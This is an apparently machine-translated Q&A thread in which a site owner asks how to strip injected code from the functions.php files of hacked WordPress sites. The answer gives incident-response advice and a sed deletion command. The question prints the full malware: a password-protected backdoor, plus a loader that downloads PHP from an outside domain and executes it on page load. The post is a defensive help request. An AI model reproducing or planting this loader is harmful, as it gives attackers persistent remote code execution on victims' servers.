从Linux

时间:2017-11-14 11:44:41

标签: regex linux vim

我的Linux服务器上出现了多个域被黑客入侵 - 我不完全确定如何,我不能像黑客一样思考!但是他们设法破解了运行wordpress的多个域名。

我发现他们在多个位置的functions.php文件中有些网站重写代码。我对这些文件感到困惑,我需要花费很多时间去除每一段代码。有没有使用全局搜索/替换从所有文件中删除代码的快速方法?

违规代码是:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '751486a687f91a0d030551bb518f903e'))
        {
$div_code_name="wp_vcd";
                switch ($_REQUEST['action'])
                        {






                                case 'change_domain';
                                        if (isset($_REQUEST['newdomain']))
                                                {

                                                        if (!empty($_REQUEST['newdomain']))
                                                                {
                                                                           if ($file = @file_get_contents(__FILE__))
                                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain))
                                                                                                             {

                                                                                                   $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                                                                                                   @file_put_contents(__FILE__, $file);
                                                                                                   print "true";
                                                                                                             }


                                                                                    }
                                                                }
                                                }
                                break;



                                default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
                        }

                die("");
        }




if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

function file_get_contents_tcurl($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}


function theme_temp_setup($phpCode) {
    $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
    $handle = fopen($tmpfname, "w+");
    fwrite($handle, "<?php\n" . $phpCode);
    fclose($handle);
    include $tmpfname;
    unlink($tmpfname);
    return get_defined_vars();
}


if($tmpcontent = @file_get_contents("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}
elseif($tmpcontent = @file_get_contents_tcurl("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}


}
}



?>

1 个答案:

答案 0 :(得分:1)

如果服务器被黑客攻击,删除恶意代码不应该是您的主要/唯一问题。有关Information Security和其他地方的更多信息,但简而言之:

  • 您应首先使服务器脱机(以避免提供恶意代码)。
  • 分析并修复允许入侵的安全漏洞。
  • 重获对服务器的信任;最好通过恢复良好的形象;至少,通过从备份中恢复受影响的代码。

你没有备份,也不知道如何保护盒子(或花钱让别人为你做这件事)?有些人会说你完全没有公共服务器的业务......

回答您的实际问题:最好使用非交互式工具,例如sed。如果添加的行数是常数且位于相同位置,则静态行号将执行:

sed -i '2,92d' file.php